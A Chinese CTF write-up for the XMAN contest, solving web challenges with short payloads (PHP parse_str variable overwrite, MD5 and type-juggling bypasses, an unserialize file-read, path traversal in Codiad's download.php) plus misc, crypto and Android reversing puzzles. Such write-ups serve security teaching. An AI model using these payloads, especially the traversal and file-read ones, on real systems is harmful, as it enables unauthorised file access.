XMAN Writeup

Web

0x1 variacover

代码审计题，源码为:

```
<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['b'])) {
    show_source(__FILE__);
    die();
}else{
    include('flag.php');
$a = "www.XMAN.com";
$b = $_GET['b'];
@parse_str($b);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
    echo $flag;
}else{
exit('你的答案不对0.0');
}
}
?>
```

分析了下， 关键处的比较在 `if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO'))` , `$a` 变量虽然是写死了， 但因为parse_str()函数导致的变量覆盖的缘故，重新覆盖掉变量$a即可， 比较是一个很简单的md5的弱类型比较,可用的值有 `240610708、QNKCDZO、aabg7XSs、aabC9RqS` 都行, 最后的payload为:

```
?b=a[0]=240610708
```

flag : `XMAN{A_sTr_covcderd_t3st_you_oW?}`

0x2 urldecode

提示me参数和XMAN参数值，访问 `/?me=XMAN` 得到hint

```
great!<?php hint: urldecode?>
```

猜测是是用了urldecode函数对参数解密，因为浏览器会自动会参数解密一次，因此将参数二次url编码即可, 最后的payload为:

```
/?me=%2558%254d%2541%254e
```

flag: XMAN{UrlDeCode_CooL_yOu_u0D3rSta9D!}

0x3 unserialize

这题拿了三血, 对反序列化漏洞比较熟悉
首先根据提示找到flag.php, 访问flag.php 找到help.php文件，内容为;

```
class FileClass{
    public $filename = 'error.log';

    public function __toString(){
        return file_get_contents($this->filename);
    }
}
```

根据类先构造出反序列化字符串 `O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}`

```
<?php
class FileClass {
    public $filename = 'error.log';
}

$test = new FileClass();
$test->filename = 'flag.php';
echo serialize($test);
```

找传入反序列化函数的地方, 全文只有一个code参数，因此先在code参数这里传入即得到flag

```
?code=O:9:"FileClass":1:{s:8:"filename";s:8:"flag.php";}
```

flag: XMAN{UUNser1AL1Z3_XMAN__0)

0x5 PHP

这题拿了二血, 扫目录发现 `index.php~` 文件，得到源码,还是一道代码审计题，审计题做的还是比较愉快的

```
<?php
$a=0;
$b=0;
$c=0;
if (isset($_GET['aaa']))
{
        $aaa = $_GET['aaa'];
        $aaa=="1"?die("Emmm..."):NULL;
        switch ($aaa)
        {
        case 0:
        case 1:
                $a=1;
                break;
        }
}
$bbb=(array)json_decode(@$_GET['bbb']);
if(is_array($bbb)){
    is_numeric(@$bbb["ccc"])?die("Emmm..."):NULL;
    if(@$bbb["ccc"]){
        ($bbb["ccc"]>2017)?$b=1:NULL;
    }
    if(is_array(@$bbb["ddd"])){
        if(count($bbb["ddd"])!==2 OR !is_array($bbb["ddd"][0])) die("Emm
m...");
        $eee = array_search("XMAN", $bbb["ddd"]);
        $eee===false?die("Emmm..."):NULL;
        foreach($bbb["ddd"] as $key=>$val){
            $val==="XMAN"?die("Emmm..."):NULL;
        }
        $c=1;
}
}
if($a && $b && $c){
    include "flag.php";
    echo $flag;
}
?>
```

先分析得出flag的条件`if($a && $b && $c)` 即这三个参数都为1才出flag, 先分析第一个$a, 这里考察了switch…case的弱类型比较， 用`$aaa=1a` 即可绕过
分析第二个$b, 判断条件是`$bbb["ccc"]>2017` 依然是弱类型比较, 让`'ccc' => '2018aaa'` 即可, 第三个考察的是`array_search`函数的绕过，和switch..case一样也是弱类型比较绕过， 最后bbb的值应该是

```
$bbb = array(
    'ccc' => '2018aaa',
    'ddd' => array(array(), 0),
);
```

用json_encode函数加密一下得到`{"ccc":"2018aaa","ddd":[[],0]}`
最终的payload为:

```
/index.php?aaa=1a&bbb={"ccc":"2018aaa","ddd":[[],0]}
```

flag: XMAN{PHP_IS_THE_BEST_LANGUAGE}

0x5 download

Web只作出五道题
用admin,admin下了下，直接就登录进后台了， 但感觉不太对啊， 题目提示的是`download` 文件下载，于是扫了下目录扫出`README.md` , 得到信息`# Codiad Web IDE` , 应该是一个编辑器留下的信息， 于是先百度搜一下这个编辑器的漏洞，找到文章`http://blog.csdn.net/hitwangpeng/article/details/45602187` 找到这个编辑器的download.php文件存在任意文件下载漏洞, 但找了很久没找到flag藏在哪，最后官方给了hint在`/var/www` 下，访问得到flag

```
components/filemanager/download.php?path=../../flag.txt
```

flag: XMAN{D0WnL0D_3v3RYTh1ng_You_Win}

Misc

这次杂项比较难，只作出两道

0x1 Pretty_Cat

先用strings命令找下，发现有两串奇怪的base64字符串

```
WE1BTntVNWU=
XzN4MWZ0b28xfQ==
```

解码拼一块就是flag了， 为`XMAN{U5e_3x1ftoo1}`, 通过flag看出我这种应该算非预期解法了， 预期的解法是用exiftool工具去查看图片的信息,也是可以找到两串字符串

```
Copyright                       : WE1BTntVNWU=
Comment                         : XzN4MWZ0b28xfQ==
```

0x2 Hello_XMan

这题手速较快， 拿了一血
下载下来打开一串十六进制，粘贴进winhex里再保存成文件，用strings命令查看下明文，在结尾得到`X5M1A0N4{30a7b4b8e3ede2005daf76dac436}`这么一串字符串，看着想flag, 可能是加密了，用栅栏解出了flag

```
❰root❙/home/ctfwriteup/xman/misc❱✔≻ zhanlan "X5M1A0N4{30a7b4b8e3ede2005
daf76dac436}"
[2, 19]
Xe5dMe12A000N54d{a3f07a67dba4cb483e63}
XMAN{07483d20df6a4651043abbeee05a7dc3}
```

Crypto

0x1 Masonic

这题也是拿了一血
下载图片后打开是一个猪圈密码， 对比字典得到明文`the answer is false`, 最后的flag为: `XMAN{the answer is false}`貌似是小写，有点忘了

0x2 Caesar

打开看是一堆乱码， 通过修改浏览器的的编码为`UTF-8(unicode)`, 得到

```
ﾟωﾟﾉ= /｀ｍ´）ﾉ ~┻━┻   //*´∇｀*/ ['_']; o=(ﾟｰﾟ)  =_=3; c=(ﾟΘﾟ) =(ﾟｰﾟ)-(ﾟｰﾟ); (ﾟДﾟ) =(ﾟΘﾟ)= (o^_^o)/ (o^_^o);(ﾟДﾟ)={ﾟΘﾟ: '_' ,ﾟωﾟﾉ : ((ﾟωﾟﾉ==3) +'_') [ﾟΘﾟ] ,ﾟｰﾟﾉ :(ﾟωﾟﾉ+ '_')[o^_^o -(ﾟΘﾟ)] ,ﾟДﾟﾉ:((ﾟｰﾟ==3) +'_')[ﾟｰﾟ] }; (ﾟДﾟ) [ﾟΘﾟ] =((ﾟωﾟﾉ==3) +'_') [c^_^o];(ﾟДﾟ) ['c'] = ((ﾟДﾟ)+'_') [ (ﾟｰﾟ)+(ﾟｰﾟ)-(ﾟΘﾟ) ];(ﾟДﾟ) ['o'] = ((ﾟДﾟ)+'_') [ﾟΘﾟ];(ﾟoﾟ)=(ﾟДﾟ) ['c']+(ﾟДﾟ) ['o']+(ﾟωﾟﾉ +'_')[ﾟΘﾟ]+ ((ﾟωﾟﾉ==3) +'_') [ﾟｰﾟ] + ((ﾟДﾟ) +'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ ((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [(ﾟｰﾟ) - (ﾟΘﾟ)]+(ﾟДﾟ) ['c']+((ﾟДﾟ)+'_') [(ﾟｰﾟ)+(ﾟｰﾟ)]+ (ﾟДﾟ) ['o']+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ];(ﾟДﾟ) ['_'] =(o^_^o) [ﾟoﾟ] [ﾟoﾟ];(ﾟεﾟ)=((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟДﾟ) .ﾟДﾟﾉ+((ﾟДﾟ)+'_') [(ﾟｰﾟ) + (ﾟｰﾟ)]+((ﾟｰﾟ==3) +'_') [o^_^o -ﾟΘﾟ]+((ﾟｰﾟ==3) +'_') [ﾟΘﾟ]+ (ﾟωﾟﾉ +'_') [ﾟΘﾟ]; (ﾟｰﾟ)+=(ﾟΘﾟ); (ﾟДﾟ)[ﾟεﾟ]='\\'; (ﾟДﾟ).ﾟΘﾟﾉ=(ﾟДﾟ+ ﾟｰﾟ)[o^_^o -(ﾟΘﾟ)];(oﾟｰﾟo)=(ﾟωﾟﾉ +'_')[c^_^o];(ﾟДﾟ) [ﾟoﾟ]='\"';(ﾟДﾟ) ['_'] ( (ﾟДﾟ) ['_'] (ﾟεﾟ+(ﾟДﾟ)[ﾟoﾟ]+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (o^_^o))+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟΘﾟ)+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (o^_^o)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟｰﾟ)+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ (ﾟｰﾟ)+ ((o^_^o) +(o^_^o))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟΘﾟ)+ ((ﾟｰﾟ) + (o^_^o))+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+(ﾟｰﾟ)+ ((o^_^o) - (ﾟΘﾟ))+ (ﾟДﾟ)[ﾟεﾟ]+((ﾟｰﾟ) + (ﾟΘﾟ))+ (ﾟΘﾟ)+ (ﾟДﾟ)[ﾟoﾟ]) (ﾟΘﾟ)) ('_');
```

很明显的aaencode加密， 丢chrome的console得到`UJ>Kxqefpfpklqbjlgfz` ， 根据题目的提示`Caesar` 得知是凯撒移位，用之前写好的脚本跑一下，得到`XMAN{thisisnotemoji}` 但一直提交不对， 后台得到hint:最终FLAG内容含空格
最终的flag为：`XMAN{this is not emoji}`

Mobile

0x1 First_Mobile

用`dex2jar+jd-gui` 打开源码来分析下,主要是Oncreate函数和check函数

```
  protected void onCreate(Bundle paramBundle)
  {
    super.onCreate(paramBundle);
    setContentView(2130968602);
    EditText localEditText = (EditText)findViewById(2131427413);
    ((Button)findViewById(2131427414)).setOnClickListener(new View.OnClickListener(localEditText)
    {
      public void onClick(View paramView)
      {
        new encode();
        if (encode.check(this.val$editText.getText().toString()))
        {
          Toast.makeText(MainActivity.this.getApplicationContext(), "correct", 1).show();
          return;
        }
        Toast.makeText(MainActivity.this.getApplicationContext(), "failed", 1).show();
      }
    });
  }

...

  public static boolean check(String paramString)
  {
    byte[] arrayOfByte1 = paramString.getBytes();
    byte[] arrayOfByte2 = new byte[16];
    for (int i = 0; i < 16; i++)
      arrayOfByte2[i] = (byte)((arrayOfByte1[i] + b[i]) % 61);
    for (int j = 0; j < 16; j++)
      arrayOfByte2[j] = (byte)(2 * arrayOfByte2[j] - j);
    return new String(arrayOfByte2).equals(paramString);
  }
```

onCreate函数里调用了encode里的check函数来验证，最后写一个脚本爆破下：

```
list=[23, 22, 26, 26, 25, 25, 25, 26, 27, 28, 30, 30, 29, 30, 32, 32]
str=""
temp=0
for b in list:
    for i in range (255):
        a=((i+b)%61)*2-temp
        if a==i:
            #print chr(i)
            str+=chr(i)
    temp+=1
print str
```

得到flag为： LOHILMNMLKHILKHI